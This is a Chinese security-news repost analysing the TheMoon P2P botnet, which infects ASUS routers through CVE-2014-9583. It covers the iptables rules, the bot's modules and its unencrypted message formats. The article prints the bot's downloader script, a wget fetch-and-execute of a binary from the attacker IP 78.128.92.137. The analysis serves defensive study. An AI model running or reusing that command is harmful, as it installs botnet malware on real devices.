安全路透社
当前位置:安全路透社 > 网络转载 > 正文

分析感染华硕路由器的P2P僵尸网络程序TheMoon

cecbaKMQO5pDs.png

在这篇文章中,我们将对一个感染华硕路由器的P2P僵尸网络程序(bot)进行分析。

下图是利用wireshark抓包捕获的僵尸程序攻击流量,可看出僵尸程序使用了CVE-2014-9583漏洞利用代码。

Mmoon001.png

CVE-2014-9583ASUS WRT是华硕(ASUS)公司的一个路由器固件。RT-AC66URT-N66U等多款路由器中使用的ASUS WRTinfosvr中的common.c文件中存在安全漏洞,该漏洞源于程序没有正确检查请求的MAC地址。远程攻击者可通过向UDP 9999端口发送NET_CMD_ID_MANU_CMD数据包利用该漏洞绕过身份验证,执行任意命令。详情参见GitHub

以下是bot从网站http://78.128.92.137:80/ 自动下载的nmlt1.sh文件内容

#!/bin/sh cd /tmp rm -f .nttpd wget -O .nttpd http://78.128.92.137/.nttpd,17-mips-le-t1 chmod +x .nttpd ./.nttpd

路由器将会从攻击者控制的网站上自动下载并执行.nttpd文件,.nttpd运行后将成为驻留进程。以下为.nttpd文件哈希信息

Mmoon002.png

bot程序属于TheMoon恶意软件系列,程序结构如下:

moonfamily.png

该bot程序主要不同在于os_init run_modules函数,os_init中插入了8iptables规则:

Mmoon003(1).png

为了获得感染设备的绝对控制权,防止反复感染,其中第一条规则通过关闭端口9999,阻止其它攻击者利用华硕CVE-2014-9583漏洞;第二条规则是关闭多个端口,阻止其它攻击者利用D-Link的一个远程命令执行漏洞。其余为bot程序建立的网络通信规则。

run_modules中,bot加载了3个模块:CLK 、NET、DWL,我们依次来做分析:

CLK模块

该模块加载了两个线程,一个用来计时,一个用来同步,它通过查询公开NTP服务器保持UTC时间。抓包发现botNTP服务器之间的请求回应流量

Mmoon005.png

Net模块

该模块开启了UDP 5143端口,并创建了一个P2P通信线程。值得注意的是,与通常的端口通信不同,该bot程序支持3种不特定的消息类型。

Register message RegisterTo  message FetchCommand message

每种类型都包含相同的头结构:

Offset     Size      Description 0            1       Body length 1            1       Message Type 2            1       TTL 3            1       0x8F (variant specific)

bot接收到消息时,TTL值以1递减,并把消息转发给其它对等结点(peer),下图为向其它peer节点转发消息的底层代码

Mmoon006.png

Register message(注册消息)

该消息类型标记为0,当所有模块加载完毕,消息将被转发给其它对等网络,包括iptables规则中的其它网络:

Mmoon007.pngMmoon008.pngMmoon009.png

消息体由两个双字字符串组成,其中0x6d6163f4为特定变量,而00000xx为对等网络值。在转发完该消息类型之后,bot程序会自动把发送方添加为自身对等结点(peer),以此扩大传播感染面。

RegistertTo message(判断消息)

该消息类型标记也为0,但消息体为12个字节。如果第三个双字字符不为0,程序将会向特定IP发送register message消息进行注册。否则,将会向发送方持续请求register message,保持通信。下图为bot程序接收到的Register To消息流量包

Mmoon010.png

FetchCommand message (控制消息)

该消息类型标记为1,消息体结构如下:

Offset      Size            Description 0           4               Peer IP address 4           4              Command id 8           4               Command size (Maximum 0x19001) 12          n              file name(n<=8)

以下为bot接收到的FetchCommand消息流量包

Mmoon011.png

之后,bot程序会把消息内容储存在Pending Command内为后续DWL模块使用:

Struct PendingCommand { DWORD ip; DWORD cmd_id; DWORD cmd_size; CHAR filename[8]; };

DWL模块

该模块创建读取PendingCommand内容的进程,之后,程序通过TCP 4543端口向特定IP发送请求文件名和命令ID:

Mmoon012.png

特定IP返回请求文件,bot储存响应信息并执行文件。下图为请求执行过程的底层实现代码:

Mmoon013.png

总结

TheMoon恶意软件于2014年被SANS发现,主要以路由器为目标,利用漏洞植入感染。从底层代码来看,TheMoon还以华硕(ASUS)和 Linksys路由器为特定目标。通过分析可以看出,TheMoon使用iptables规则进行通信的P2P感染机制还不太成熟,另外,其不加密的通信可被轻易发现和分析。

另一篇针对路由器的恶意软件分析也值得一看-阿里安全《解密“智魁”攻击行动——针对路由器蠕虫攻击事件分析报告

*参考来源:FortinetFB小编clouds编译

未经允许不得转载:安全路透社 » 分析感染华硕路由器的P2P僵尸网络程序TheMoon

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册